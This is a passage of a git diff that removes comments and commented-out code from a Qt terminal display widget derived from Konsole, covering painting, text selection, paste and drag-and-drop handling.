column which we want to set 'endColumn' to - // is the first whitespace character at the end of the line endColumn++; if (line == spot->startLine()) @@ -1799,35 +1542,20 @@ void TerminalDisplay::paintFilters(QPainter &painter) { if (line == spot->endLine()) endColumn = spot->endColumn(); - // subtract one pixel from - // the right and bottom so that - // we do not overdraw adjacent - // hotspots - // - // subtracting one pixel from all sides also prevents an edge case where - // moving the mouse outside a link could still leave it underlined - // because the check below for the position of the cursor - // finds it on the border of the target area QRect r; r.setCoords(startColumn * _fontWidth + 1 + leftMargin, line * _fontHeight + 1 + _topBaseMargin, endColumn * _fontWidth - 1 + leftMargin, (line + 1) * _fontHeight - 1 + _topBaseMargin); - // Underline link hotspots if (spot->type() == Filter::HotSpot::Link) { QFontMetrics metrics(font()); - // find the baseline (which is the invisible line that the characters in - // the font sit on, with some having tails dangling below) int baseline = r.bottom() - metrics.descent(); - // find the position of the underline below that int underlinePos = baseline + metrics.underlinePos(); if (region.contains(mapFromGlobal(QCursor::pos()))) { painter.drawLine(r.left(), underlinePos, r.right(), underlinePos); } } - // Marker hotspots simply have a transparent rectanglular shape - // drawn on top of them else if (spot->type() == Filter::HotSpot::Marker) { QColor markerColor = spot->color(); markerColor.setAlpha(120); @@ -1837,17 +1565,12 @@ void TerminalDisplay::paintFilters(QPainter &painter) { } } -// NOTE: This should be called only when "_fixedFont" is set to "false" (temporarily). int TerminalDisplay::textWidth(const int startColumn, const int length, const int line) const { QFontMetrics fm(font()); int result = 0; for (int column = 0; column < length; column++) { auto c = _image[loc(startColumn + column, line)]; - // Take care of double-column characters and those with small widths. - // Exclude line characters, as some of them are ambiguous ('A') [1] - // [1] http://www.unicode.org/Public/UCD/latest/ucd/EastAsianWidth.txt if (_fixedFont_original && !isLineChar(c)) { - // c == 0 may happen here after a double-column character result += fm.horizontalAdvance(QLatin1Char(REPCHAR[0])); } else { result += fm.horizontalAdvance(QChar(static_cast(c.character))); @@ -1886,18 +1609,15 @@ void TerminalDisplay::drawContents(QPainter &paint, const QRect &rect) { quint32 c = _image[loc(lux, y)].character; int x = lux; if (!c && x) - x--; // Search for start of multi-column character + x--; for (; x <= rlx; x++) { int len = 1; int p = 0; - // reset our buffer to the number of columns int bufferSize = numberOfColumns; unistr.resize(bufferSize); - // is this a single character or a sequence of characters ? if (_image[loc(x, y)].rendition & RE_EXTENDED_CHAR) { - // sequence of characters ushort extendedCharLength = 0; uint* chars = ExtendedCharTable::instance .lookupExtendedChar(_image[loc(x,y)].character,extendedCharLength); @@ -1911,11 +1631,10 @@ void TerminalDisplay::drawContents(QPainter &paint, const QRect &rect) { } } } else { - // single character c = _image[loc(x, y)].character; if (c) { Q_ASSERT(p < bufferSize); - unistr[p++] = c; // fontMap(c); + unistr[p++] = c; } } @@ -1942,11 +1661,10 @@ void TerminalDisplay::drawContents(QPainter &paint, const QRect &rect) { !(_fixedFont && (nxtC = _image[loc(x+len,y)].character) && (nxtCharWidth = fm.horizontalAdvance(QString::fromWCharArray((const wchar_t *)(&nxtC), 1))) < _fontWidth) && !bigWidth && !(_fixedFont && !nxtDoubleWidth && nxtC && nxtCharWidth > _fontWidth) && - isLineChar(_image[loc(x+len,y)]) == lineDraw) // Assignment! + isLineChar(_image[loc(x+len,y)]) == lineDraw) { c = _image[loc(x+len,y)].character; if (_image[loc(x+len,y)].rendition & RE_EXTENDED_CHAR) { - // sequence of characters ushort extendedCharLength = 0; const uint* chars = ExtendedCharTable::instance.lookupExtendedChar(c, extendedCharLength); if (chars) { @@ -1959,26 +1677,23 @@ void TerminalDisplay::drawContents(QPainter &paint, const QRect &rect) { } } } else { - // single character if (c) { Q_ASSERT( p < bufferSize ); - unistr[p++] = c; //fontMap(c); + unistr[p++] = c; } } - if (doubleWidth) // assert((_image[loc(x+len,y)+1].character == 0)), see - // above if condition - len++; // Skip trailing part of multi-column character + if (doubleWidth) + len++; len++; } if ((x + len < _usedColumns) && (!_image[loc(x + len, y)].character)) - len++; // Adjust for trailing part of multi-column character + len++; bool save__fixedFont = _fixedFont; if (lineDraw) _fixedFont = false; unistr.resize(p); - // Create a text scaling matrix for double width and double height lines. QTransform textScale; if (y < _lineProperties.size()) { @@ -1989,33 +1704,19 @@ void TerminalDisplay::drawContents(QPainter &paint, const QRect &rect) { textScale.scale(1, 2); } - // Apply text scaling matrix. paint.setWorldTransform(textScale, true); - // calculate the area in which the text will be drawn QRect textArea = calculateTextArea(tLx, tLy, x, y, len); - // move the calculated area to take account of scaling applied to the - // painter. the position of the area from the origin (0,0) is scaled by - // the opposite of whatever transformation has been applied to the - // painter. this ensures that painting does actually start from - // textArea.topLeft() (instead of textArea.topLeft() * painter-scale) textArea.moveTopLeft(textScale.inverted().map(textArea.topLeft())); - // paint text fragment drawTextFragment(paint, textArea, unistr, &_image[loc(x, y)], tooWide, _screenWindow->isSelected(x, y)); _fixedFont = save__fixedFont; - // reset back to single-width, single-height _lines paint.setWorldTransform(textScale.inverted(), true); if (y < _lineProperties.size() - 1) { - // double-height _lines are represented by two adjacent _lines - // containing the same characters - // both _lines will have the LINE_DOUBLEHEIGHT attribute. - // If the current line has the LINE_DOUBLEHEIGHT attribute, - // we can therefore skip the next line if (_lineProperties[y] & LINE_DOUBLEHEIGHT) y++; } @@ -2031,9 +1732,6 @@ void TerminalDisplay::blinkEvent() { _blinking = !_blinking; - // TODO: Optimize to only repaint the areas of the widget - // where there is blinking text - // rather than repainting the whole widget. update(); } @@ -2082,7 +1780,6 @@ void TerminalDisplay::updateImageSize() { makeImage(); - // copy the old image to reduce flicker int lines = qMin(oldlin, _lines); int columns = qMin(oldcol, _columns); @@ -2102,19 +1799,13 @@ void TerminalDisplay::updateImageSize() { if (_resizing) { if (_showResizeNotificationEnabled) showResizeNotification(); - emit changedContentSizeSignal(_contentHeight, _contentWidth); // expose resizeEvent + emit changedContentSizeSignal(_contentHeight, _contentWidth); emit changedContentCountSignal(_lines, _columns); } _resizing = false; } -// showEvent and hideEvent are reimplemented here so that it appears to other -// classes that the display has been resized when the display is hidden or -// shown. -// -// TODO: Perhaps it would be better to have separate signals for show and hide -// instead of using the same signal as the one for a content size change void TerminalDisplay::showEvent(QShowEvent *) { emit changedContentSizeSignal(_contentHeight, _contentWidth); } @@ -2129,10 +1820,6 @@ void TerminalDisplay::scrollBarPositionChanged(int) { _screenWindow->scrollTo(_scrollBar->value()); - // if the thumb has been moved to the bottom of the _scrollBar then set - // the display to automatically track new output, - // that is, scroll down automatically - // to how new _lines as they are added const bool atEndOfOutput = (_scrollBar->value() == _scrollBar->maximum()); _screenWindow->setTrackOutput(atEndOfOutput); @@ -2140,11 +1827,6 @@ void TerminalDisplay::scrollBarPositionChanged(int) { } void TerminalDisplay::setScroll(int cursor, int slines) { - // update _scrollBar if the range or value has changed, - // otherwise return - // - // setting the range or value of a _scrollBar will always trigger - // a repaint, so it should be avoided if it is not necessary if (_scrollBar->minimum() == 0 && _scrollBar->maximum() == (slines - _lines) && _scrollBar->value() == cursor) { @@ -2212,18 +1894,13 @@ void TerminalDisplay::mousePressEvent(QMouseEvent *ev) { _lineSelectionMode = false; _wordSelectionMode = false; - emit isBusySelecting(true); // Keep it steady... - // Drag only when the Control key is hold + emit isBusySelecting(true); bool selected = false; - // The receiver of the testIsSelected() signal will adjust - // 'selected' accordingly. - // emit testIsSelected(pos.x(), pos.y(), selected); selected = _screenWindow->isSelected(pos.x(), pos.y()); if ((!_ctrlDrag || ev->modifiers() & Qt::ControlModifier) && selected) { - // The user clicked inside selected text if ((_mouseMarks) && (ev->modifiers() & Qt::ShiftModifier)) { _screenWindow->clearSelection(); if (shiftSelectionStartX == -1 && shiftSelectionStartY == -1) { @@ -2242,7 +1919,6 @@ void TerminalDisplay::mousePressEvent(QMouseEvent *ev) { dragInfo.start = ev->pos(); } } else { - // No reason to ever start a drag event dragInfo.state = diNone; _preserveLineBreaks = !((ev->modifiers() & Qt::ControlModifier) && @@ -2253,7 +1929,6 @@ void TerminalDisplay::mousePressEvent(QMouseEvent *ev) { if (_mouseMarks) { if (ev->modifiers() & Qt::ShiftModifier) { if (_screenWindow->isClearSelection()) { - // check if (shiftSelectionStartX == -1 && shiftSelectionStartY == -1) { shiftSelectionStartX = pos.x(); shiftSelectionStartY = pos.y(); @@ -2279,19 +1954,17 @@ void TerminalDisplay::mousePressEvent(QMouseEvent *ev) { _screenWindow->clearSelection(); shiftSelectionStartX = -1; shiftSelectionStartY = -1; - // emit clearSelectionSignal(); pos.ry() += _scrollBar->value(); _iPntSel = _pntSel = pos; - _actSel = 1; // left mouse button pressed but nothing selected yet. + _actSel = 1; } } else { if (ev->modifiers() & Qt::ShiftModifier) { _screenWindow->clearSelection(); - // emit clearSelectionSignal(); pos.ry() += _scrollBar->value(); _iPntSel = _pntSel = pos; - _actSel = 1; // left mouse button pressed but nothing selected yet. + _actSel = 1; } else { emit mouseSignal( 0, charColumn + 1, @@ -2336,15 +2009,15 @@ QList TerminalDisplay::filterActions(const QPoint &position) { void TerminalDisplay::hideStaleMouse() const { - if (gs_deadSpot.x() > -1) // we already have a dead spot + if (gs_deadSpot.x() > -1) return; - if (gs_futureDeadSpot.x() < 0) // that's not expected nor gonna end well + if (gs_futureDeadSpot.x() < 0) return; - if (!underMouse()) // we don't care about the mouse + if (!underMouse()) return; - if (QApplication::activeWindow() && QApplication::activeWindow() != window()) // some other app window has the focus + if (QApplication::activeWindow() && QApplication::activeWindow() != window()) return; - if (_scrollBar->underMouse()) // the mouse is over the scrollbar + if (_scrollBar->underMouse()) return; gs_deadSpot = gs_futureDeadSpot; QApplication::setOverrideCursor(Qt::BlankCursor); @@ -2370,7 +2043,6 @@ void TerminalDisplay::autoHideMouseAfter(int delay) } void TerminalDisplay::mouseMoveEvent(QMouseEvent *ev) { - // unclutter if (_mouseAutohideDelay > -1) { if (gs_deadSpot.x() > -1 && (ev->pos() - gs_deadSpot).manhattanLength() > 8) { @@ -2393,8 +2065,6 @@ void TerminalDisplay::mouseMoveEvent(QMouseEvent *ev) { getCharacterPosition(ev->position().toPoint(), charLine, charColumn); - // handle filters - // change link hot-spot appearance on mouse-over Filter::HotSpot *spot = _filterChain->hotSpotAt(charLine, charColumn); if (spot && spot->type() == Filter::HotSpot::Link) { QRegion previousHotspotArea = _mouseOverHotspotArea; @@ -2427,38 +2097,19 @@ void TerminalDisplay::mouseMoveEvent(QMouseEvent *ev) { } update(_mouseOverHotspotArea | previousHotspotArea); - // if (_mouseOverHotspotArea.contains(ev->pos())) { - // if (spot && spot->type() == Filter::HotSpot::Link && - // spot->hasClickAction()) { - // QPoint globalPos = mapToGlobal(ev->pos()); - // QToolTip::showText(globalPos, spot->clickActionToolTip()); - // if (!_ctrlDrag && ev->modifiers() & Qt::ControщаlModifier) { - // setCursor(QCursor(Qt::PointingHandCursor)); - // } else { - // setCursor(QCursor(_mouseMarks ? Qt::IBeamCursor : Qt::ArrowCursor)); - // } - // } else { - // setCursor(QCursor(_mouseMarks ? Qt::IBeamCursor : Qt::ArrowCursor)); - // } - // } else { + QToolTip::hideText(); setCursor(QCursor(_mouseMarks ? Qt::IBeamCursor : Qt::ArrowCursor)); - // } } else if (!_mouseOverHotspotArea.isEmpty()) { update(_mouseOverHotspotArea); - // set hotspot area to an invalid rectangle _mouseOverHotspotArea = QRegion(); QToolTip::hideText(); setCursor(QCursor(_mouseMarks ? Qt::IBeamCursor : Qt::ArrowCursor)); } - // for auto-hiding the cursor, we need mouseTracking if (ev->buttons() == Qt::NoButton) return; - // if the terminal is interested in mouse movements - // then emit a mouse movement signal, unless the shift - // key is being held down, which overrides this. if (!_mouseMarks && !(ev->modifiers() & Qt::ShiftModifier)) { int button = 3; if (ev->buttons() & Qt::LeftButton) @@ -2476,32 +2127,24 @@ void TerminalDisplay::mouseMoveEvent(QMouseEvent *ev) { } if (dragInfo.state == diPending) { - // we had a mouse down, but haven't confirmed a drag yet - // if the mouse has moved sufficiently, we will confirm - - // int distance = KGlobalSettings::dndEventDelay(); int distance = QApplication::startDragDistance(); if (ev->position().x() > dragInfo.start.x() + distance || ev->position().x() < dragInfo.start.x() - distance || ev->position().y() > dragInfo.start.y() + distance || ev->position().y() < dragInfo.start.y() - distance) { - // we've left the drag square, we can start a real drag operation now - emit isBusySelecting(false); // Ok.. we can breath again. + emit isBusySelecting(false); _screenWindow->clearSelection(); doDrag(); } return; } else if (dragInfo.state == diDragging) { - // this isn't technically needed because mouseMoveEvent is suppressed during - // Qt drag operations, replaced by dragMoveEvent return; } if (_actSel == 0) return; - // don't extend selection while pasting if (ev->buttons() & Qt::MiddleButton) return; @@ -2514,22 +2157,16 @@ void TerminalDisplay::extendSelection(const QPoint &position) { if (!_screenWindow) return; - // if ( !contentsRect().contains(ev->pos()) ) return; QPoint tL = contentsRect().topLeft(); int tLx = tL.x(); int tLy = tL.y(); int scroll = _scrollBar->value(); - // we're in the process of moving the mouse with the left button pressed - // the mouse cursor will kept caught within the bounds of the text in - // this widget. - int linesBeyondWidget = 0; QRect textBounds(tLx + _leftMargin, tLy + _topMargin, _usedColumns * _fontWidth - 1, _usedLines * _fontHeight - 1); - // Adjust position within text area bounds. QPoint oldpos = pos; pos.setX(qBound(textBounds.left(), pos.x(), textBounds.right())); @@ -2538,12 +2175,12 @@ void TerminalDisplay::extendSelection(const QPoint &position) { if (oldpos.y() > textBounds.bottom()) { linesBeyondWidget = (oldpos.y() - textBounds.bottom()) / _fontHeight; _scrollBar->setValue(_scrollBar->value() + linesBeyondWidget + - 1); // scrollforward + 1); } if (oldpos.y() < textBounds.top()) { linesBeyondWidget = (textBounds.top() - oldpos.y()) / _fontHeight; _scrollBar->setValue(_scrollBar->value() - linesBeyondWidget - - 1); // history + 1); } int charColumn = 0; @@ -2552,7 +2189,7 @@ void TerminalDisplay::extendSelection(const QPoint &position) { QPoint here = QPoint( charColumn, - charLine); // QPoint((pos.x()-tLx-_leftMargin+(_fontWidth/2))/_fontWidth,(pos.y()-tLy-_topMargin)/_fontHeight); + charLine); QPoint ohere; QPoint _iPntSelCorr = _iPntSel; _iPntSelCorr.ry() -= _scrollBar->value(); @@ -2561,7 +2198,6 @@ void TerminalDisplay::extendSelection(const QPoint &position) { bool swapping = false; if (_wordSelectionMode) { - // Extend to word boundaries int i; QChar selClass; @@ -2573,7 +2209,6 @@ void TerminalDisplay::extendSelection(const QPoint &position) { _pntSelCorr.x() < _iPntSelCorr.x())); swapping = left_not_right != old_left_not_right; - // Find left (left_not_right ? from here : from start) QPoint left = left_not_right ? here : _iPntSelCorr; i = loc(left.x(), left.y()); if (i >= 0 && i <= _imageSize) { @@ -2592,7 +2227,6 @@ void TerminalDisplay::extendSelection(const QPoint &position) { } } - // Find left (left_not_right ? from start : from here) QPoint right = left_not_right ? _iPntSelCorr : here; i = loc(right.x(), right.y()); if (i >= 0 && i <= _imageSize) { @@ -2611,7 +2245,6 @@ void TerminalDisplay::extendSelection(const QPoint &position) { } } - // Pick which is start (ohere) and which is extension (here) if (left_not_right) { here = left; ohere = right; @@ -2623,7 +2256,6 @@ void TerminalDisplay::extendSelection(const QPoint &position) { } if (_lineSelectionMode) { - // Extend to complete line bool above_not_below = (here.y() < _iPntSelCorr.y()); QPoint above = above_not_below ? here : _iPntSelCorr; @@ -2638,7 +2270,6 @@ void TerminalDisplay::extendSelection(const QPoint &position) { above.setX(0); below.setX(_usedColumns - 1); - // Pick which is start (ohere) and which is extension (here) if (above_not_below) { here = above; ohere = below; @@ -2667,10 +2298,8 @@ void TerminalDisplay::extendSelection(const QPoint &position) { _pntSelCorr.x() < _iPntSelCorr.x())); swapping = left_not_right != old_left_not_right; - // Find left (left_not_right ? from here : from start) QPoint left = left_not_right ? here : _iPntSelCorr; - // Find left (left_not_right ? from start : from here) QPoint right = left_not_right ? _iPntSelCorr : here; if (right.x() > 0 && !_columnSelectionMode) { i = loc(right.x(), right.y()); @@ -2684,12 +2313,11 @@ void TerminalDisplay::extendSelection(const QPoint &position) { if (right.x() < _usedColumns-1) right = left_not_right ? _iPntSelCorr : here; else - right.rx()++; // will be balanced later because of offset=-1; + right.rx()++; }*/ } } - // Pick which is start (ohere) and which is extension (here) if (left_not_right) { here = left; ohere = right; @@ -2702,10 +2330,10 @@ void TerminalDisplay::extendSelection(const QPoint &position) { } if ((here == _pntSelCorr) && (scroll == _scrollBar->value())) - return; // not moved + return; if (here == ohere) - return; // It's not left, it's not right. + return; if (_actSel < 2 || swapping) { if (_columnSelectionMode && !_lineSelectionMode && !_wordSelectionMode) { @@ -2715,7 +2343,7 @@ void TerminalDisplay::extendSelection(const QPoint &position) { } } - _actSel = 2; // within selection + _actSel = 2; _pntSel = here; _pntSel.ry() += _scrollBar->value(); @@ -2737,9 +2365,7 @@ void TerminalDisplay::mouseReleaseEvent(QMouseEvent *ev) { if (ev->button() == Qt::LeftButton) { emit isBusySelecting(false); if (dragInfo.state == diPending) { - // We had a drag event pending but never confirmed. Kill selection _screenWindow->clearSelection(); - // emit clearSelectionSignal(); } else { if (_actSel > 1) { setSelection(_screenWindow->selectedText(_preserveLineBreaks)); @@ -2747,10 +2373,6 @@ void TerminalDisplay::mouseReleaseEvent(QMouseEvent *ev) { _actSel = 0; - // FIXME: emits a release event even if the mouse is - // outside the range. The procedure used in `mouseMoveEvent' - // applies here, too. - if (!_mouseMarks && !(ev->modifiers() & Qt::ShiftModifier)) emit mouseSignal( 0, charColumn + 1, @@ -2789,11 +2411,6 @@ void TerminalDisplay::getCharacterPosition(const QPointF &widgetPoint, if (column < 0) column = 0; - // the column value returned can be equal to _usedColumns, which - // is the position just after the last character displayed in a line. - // - // this is required so that the user can select characters in the right-most - // column (or left-most for right-to-left input) if (column > _usedColumns) column = _usedColumns; } @@ -2825,11 +2442,8 @@ void TerminalDisplay::mouseDoubleClickEvent(QMouseEvent *ev) { QPoint pos(charColumn, charLine); - // pass on double click as two clicks. if (!_mouseMarks && !(ev->modifiers() & Qt::ShiftModifier)) { - // Send just _ONE_ click event, since the first click of the double click - // was already sent by the click handler - emit mouseSignal(0, pos.x() + 1,pos.y() + 1 + _scrollBar->value() - _scrollBar->maximum(), 0); // left button + emit mouseSignal(0, pos.x() + 1,pos.y() + 1 + _scrollBar->value() - _scrollBar->maximum(), 0); return; } @@ -2842,10 +2456,8 @@ void TerminalDisplay::mouseDoubleClickEvent(QMouseEvent *ev) { _wordSelectionMode = true; - // find word boundaries... QChar selClass = charClass(_image[i]); { - // find the start of the word int x = bgnSel.x(); while (((x > 0) || (bgnSel.y() > 0 && (_lineProperties[bgnSel.y() - 1] & LINE_WRAPPED))) && charClass(_image[i-1]) == selClass ) { @@ -2861,7 +2473,6 @@ void TerminalDisplay::mouseDoubleClickEvent(QMouseEvent *ev) { bgnSel.setX(x); _screenWindow->setSelectionStart(bgnSel.x(), bgnSel.y(), false); - // find the end of the word i = loc(endSel.x(), endSel.y()); x = endSel.x(); while (((x < _usedColumns - 1) || @@ -2879,14 +2490,13 @@ void TerminalDisplay::mouseDoubleClickEvent(QMouseEvent *ev) { endSel.setX(x); - // In word selection mode don't select @ (64) if at end of word. if (QChar(_image[i].character) == QLatin1Char('@') && endSel.x() - bgnSel.x() > 0 && (_image[i].rendition & RE_EXTENDED_CHAR) == 0) { endSel.setX( x - 1 ); } - _actSel = 2; // within selection + _actSel = 2; _screenWindow->setSelectionEnd(endSel.x(), endSel.y()); @@ -2903,20 +2513,10 @@ void TerminalDisplay::wheelEvent(QWheelEvent *ev) { return; if (_mouseMarks && _scrollBar->maximum() > 0) { - // If the program running in the terminal is not interested in - // Mouse events, send the event to the scrollbar if the slider - // has room to move _scrollBar->event(ev); } else if (_mouseMarks && !_isPrimaryScreen) { - // assume that each Up / Down key event will cause the terminal application - // to scroll by one line. - // - // to get a reasonable scrolling speed, scroll by one line for every 5 - // degrees of mouse wheel rotation. Mouse wheels typically move in steps of - // 15 degrees, giving a scroll of 3 lines int key = ev->angleDelta().y() > 0 ? Qt::Key_Up : Qt::Key_Down; - // QWheelEvent::angleDelta().y() gives rotation in eighths of a degree int wheelDegrees = ev->angleDelta().y() / 8; int linesToScroll = abs(wheelDegrees) / 5; @@ -2925,7 +2525,6 @@ void TerminalDisplay::wheelEvent(QWheelEvent *ev) { for (int i = 0; i < linesToScroll; i++) emit keyPressedSignal(&keyScrollEvent, false); } else if (!_mouseMarks) { - // terminal program wants notification of mouse activity int charLine; int charColumn; getCharacterPosition(ev->position(), charLine, charColumn); @@ -2951,14 +2550,13 @@ void TerminalDisplay::mouseTripleClickEvent(QMouseEvent *ev) { _lineSelectionMode = true; _wordSelectionMode = false; - _actSel = 2; // within selection - emit isBusySelecting(true); // Keep it steady... + _actSel = 2; + emit isBusySelecting(true); while (_iPntSel.y() > 0 && (_lineProperties[_iPntSel.y() - 1] & LINE_WRAPPED)) _iPntSel.ry()--; if (_tripleClickMode == SelectForwardsFromCursor) { - // find word boundary start int i = loc(_iPntSel.x(), _iPntSel.y()); QChar selClass = charClass(_image[i]); int x = _iPntSel.x(); @@ -2995,8 +2593,7 @@ void TerminalDisplay::mouseTripleClickEvent(QMouseEvent *ev) { bool TerminalDisplay::focusNextPrevChild(bool next) { if (next) - return false; // This disables changing the active part in konqueror - // when pressing Tab + return false; return QWidget::focusNextPrevChild(next); } @@ -3057,7 +2654,6 @@ void TerminalDisplay::emitSelection(bool useXselection, bool appendReturn) { if (!_screenWindow) return; - // Paste Clipboard by simulating keypress events QString text = QApplication::clipboard()->text( useXselection ? QClipboard::Selection : QClipboard::Clipboard); if (!text.isEmpty()) { @@ -3076,26 +2672,17 @@ void TerminalDisplay::emitSelection(bool useXselection, bool appendReturn) { bracketText(text); - // appendReturn is intentionally handled _after_ enclosing texts with - // brackets as that feature is used to allow execution of commands - // immediately after paste. Ref: https://bugs.kde.org/show_bug.cgi?id=16179 - // Ref: - // https://github.com/KDE/konsole/commit/83d365f2ebfe2e659c1e857a2f5f247c556ab571 if (appendReturn) { text.append(QLatin1Char('\r')); } QKeyEvent e(QEvent::KeyPress, 0, Qt::NoModifier, text); - emit keyPressedSignal(&e, true); // expose as a big fat keypress event + emit keyPressedSignal(&e, true); _screenWindow->clearSelection(); switch (mMotionAfterPasting) { case MoveStartScreenWindow: - // Temporarily stop tracking output, or pasting contents triggers - // ScreenWindow::notifyOutputChanged() and the latter scrolls the - // terminal to the last line. It will be re-enabled when needed - // (e.g., scrolling to the last line). _screenWindow->setTrackOutput(false); _screenWindow->scrollTo(0); break; @@ -3168,8 +2755,6 @@ void TerminalDisplay::setTrimPastedTrailingNewlines( void TerminalDisplay::setFlowControlWarningEnabled(bool enable) { _flowControlWarningEnabled = enable; - // if the dialog is currently visible and the flow control warning has - // been disabled then hide the dialog if (!enable) outputSuspended(false); } @@ -3181,11 +2766,8 @@ void TerminalDisplay::setMotionAfterPasting(MotionAfterPasting action) { int TerminalDisplay::motionAfterPasting() { return mMotionAfterPasting; } void TerminalDisplay::keyPressEvent(QKeyEvent *event) { - _actSel = 0; // Key stroke implies a screen update, so TerminalDisplay won't - // know where the current selection is. - + _actSel = 0; if (_hasBlinkingCursor) { - // see TerminalDisplay::setBlinkingCursor _blinkCursorTimer->start(std::max(QApplication::cursorFlashTime(), 1000) / 2); if (_cursorBlinking) blinkCursorEvent(); @@ -3220,11 +2802,9 @@ QVariant TerminalDisplay::inputMethodQuery(Qt::InputMethodQuery query) const { return font(); break; case Qt::ImCursorPosition: - // return the cursor position within the current line return cursorPos.x(); break; case Qt::ImSurroundingText: { - // return the text from the current line QString lineText; QTextStream stream(&lineText); PlainTextDecoder decoder; @@ -3249,9 +2829,6 @@ QVariant TerminalDisplay::inputMethodQuery(Qt::InputMethodQuery query) const { bool TerminalDisplay::handleShortcutOverrideEvent(QKeyEvent *keyEvent) { int modifiers = keyEvent->modifiers(); - // When a possible shortcut combination is pressed, - // emit the overrideShortcutCheck() signal to allow the host - // to decide whether the terminal should override it or not. if (modifiers != Qt::NoModifier) { int modifierCount = 0; unsigned int currentModifier = Qt::ShiftModifier; @@ -3271,11 +2848,8 @@ bool TerminalDisplay::handleShortcutOverrideEvent(QKeyEvent *keyEvent) { } } - // Override any of the following shortcuts because - // they are needed by the terminal int keyCode = keyEvent->key() | modifiers; switch (keyCode) { - // list is taken from the QLineEdit::event() code case Qt::Key_Tab: case Qt::Key_Delete: case Qt::Key_Home: @@ -3314,9 +2888,6 @@ void TerminalDisplay::bell() { if (_bellMode == NoBell) return; - // limit the rate at which bells can occur - //...mainly for sound effects where rapid bells in sequence - // produce a horrible noise if (_allowBell) { _allowBell = false; QTimer::singleShot(500, this, &TerminalDisplay::enableBell); @@ -3345,7 +2916,6 @@ void TerminalDisplay::swapColorTable() { } void TerminalDisplay::clearImage() { - // We initialize _image[_imageSize] too. See makeImage() for (int i = 0; i <= _imageSize; i++) { _image[i].character = ' '; _image[i].foregroundColor = @@ -3387,11 +2957,9 @@ void TerminalDisplay::calcGeometry() { contentsRect().height() - 2 * _topBaseMargin + /* mysterious */ 1; if (!_isFixedSize) { - // ensure that display is always at least one column wide _columns = qMax(1, _contentWidth / _fontWidth); _usedColumns = qMin(_usedColumns, _columns); - // ensure that display is always at least one line high _lines = qMax(1, _contentHeight / _fontHeight); _usedLines = qMin(_usedLines, _lines); } @@ -3400,22 +2968,16 @@ void TerminalDisplay::calcGeometry() { void TerminalDisplay::makeImage() { calcGeometry(); - // confirm that array will be of non-zero size, since the painting code - // assumes a non-zero array length Q_ASSERT(_lines > 0 && _columns > 0); Q_ASSERT(_usedLines <= _lines && _usedColumns <= _columns); _imageSize = _lines * _columns; - // We over-commit one character so that we can be more relaxed in dealing with - // certain boundary conditions: _image[_imageSize] is a valid but unused - // position _image = new Character[_imageSize + 1]; clearImage(); } -// calculate the needed size, this must be synced with calcGeometry() void TerminalDisplay::setSize(int columns, int lines) { int scrollBarWidth = (_scrollBar->isHidden() || @@ -3438,7 +3000,6 @@ void TerminalDisplay::setSize(int columns, int lines) { void TerminalDisplay::setFixedSize(int cols, int lins) { _isFixedSize = true; - // ensure that display is at least one line by one column in size _columns = qMax(1, cols); _lines = qMax(1, lins); _usedColumns = qMin(_usedColumns, _columns); @@ -3462,16 +3023,11 @@ void TerminalDisplay::dragEnterEvent(QDragEnterEvent *event) { } void TerminalDisplay::dropEvent(QDropEvent *event) { - // KUrl::List urls = KUrl::List::fromMimeData(event->mimeData()); QList urls = event->mimeData()->urls(); QString dropText; if (!urls.isEmpty()) { - // TODO/FIXME: escape or quote pasted things if necessary... - qDebug() << "TerminalDisplay: handling urls. It can be broken. Report any " - "errors, please"; for (int i = 0; i < urls.count(); i++) { - // KUrl url = KIO::NetAccess::mostLocalUrl( urls[i] , 0 ); QUrl url = urls[i]; QString urlText; @@ -3481,11 +3037,6 @@ void TerminalDisplay::dropEvent(QDropEvent *event) { else urlText = url.toString(); - // in future it may be useful to be able to insert file names with - // drag-and-drop without quoting them (this only affects paths with spaces - // in) - // urlText = KShell::quoteArg(urlText); - QChar q(QLatin1Char('\'')); dropText += q + QString(urlText).replace(q, QLatin1String("'\\''")) + q; dropText += QLatin1Char(' '); @@ -3515,18 +3066,10 @@ void TerminalDisplay::doDrag() { mimeData->setText(QApplication::clipboard()->text(QClipboard::Selection)); dragInfo.dragObject->setMimeData(mimeData); dragInfo.dragObject->exec(Qt::CopyAction); - // Don't delete the QTextDrag object. Qt will delete it when it's done with - // it. } void TerminalDisplay::outputSuspended(bool suspended) { - // create the label when this function is first called if (!_outputSuspendedLabel) { - // This label includes a link to an English language website - // describing the 'flow control' (Xon/Xoff) feature found in almost - // all terminal emulators. - // If there isn't a suitable article available in the target language the - // link can simply be removed. _outputSuspendedLabel = new QLabel( tr("Output has been " "suspended" @@ -3535,14 +3078,12 @@ void TerminalDisplay::outputSuspended(bool suspended) { this); QPalette palette(_outputSuspendedLabel->palette()); - // KColorScheme::adjustBackground(palette,KColorScheme::NeutralBackground); _outputSuspendedLabel->setPalette(palette); _outputSuspendedLabel->setAutoFillBackground(true); _outputSuspendedLabel->setBackgroundRole(QPalette::Base); _outputSuspendedLabel->setFont(QApplication::font()); _outputSuspendedLabel->setContentsMargins(5, 5, 5, 5); - // enable activation of "Xon/Xoff" link in label _outputSuspendedLabel->setTextInteractionFlags( Qt::LinksAccessibleByMouse | Qt::LinksAccessibleByKeyboard); _outputSuspendedLabel->setOpenExternalLinks(true); @@ -3561,7 +3102,7 @@ uint TerminalDisplay::lineSpacing() const { return _lineSpacing; } void TerminalDisplay::setLineSpacing(uint i) { _lineSpacing = i; - setVTFont(font()); // Trigger an update. + setVTFont(font()); } int TerminalDisplay::margin() const { return _topBaseMargin; } @@ -3645,7 +3186,6 @@ ScrollBar::ScrollBar(QWidget* parent) : QScrollBar(parent) {} void ScrollBar::enterEvent(QEnterEvent* event) { - // show the mouse cursor that was auto-hidden if (gs_deadSpot.x() > -1) { gs_deadSpot = QPoint(-1,-1); diff --git a/AdaptixClient/Libs/Konsole/TerminalDisplay.h b/AdaptixClient/Libs/Konsole/TerminalDisplay.h index 08cfbecc..8ac43f4b 100644 --- a/AdaptixClient/Libs/Konsole/TerminalDisplay.h +++ b/AdaptixClient/Libs/Konsole/TerminalDisplay.h @@ -322,7 +322,6 @@ protected: void mouseTripleClickEvent(QMouseEvent* ev); - // reimplemented void inputMethodEvent ( QInputMethodEvent* event ) override; QVariant inputMethodQuery( Qt::InputMethodQuery query ) const override; @@ -337,7 +336,7 @@ protected slots: private slots: void swapColorTable(); - void tripleClickTimeout(); // resets possibleTripleClick + void tripleClickTimeout(); private: @@ -384,7 +383,7 @@ private: bool isLineChar(Character c) const; bool isLineCharString(const std::wstring& string) const; - void hideStaleMouse() const; // conditionally hides the mouse cursor + void hideStaleMouse() const; QPointer _screenWindow; @@ -393,28 +392,28 @@ 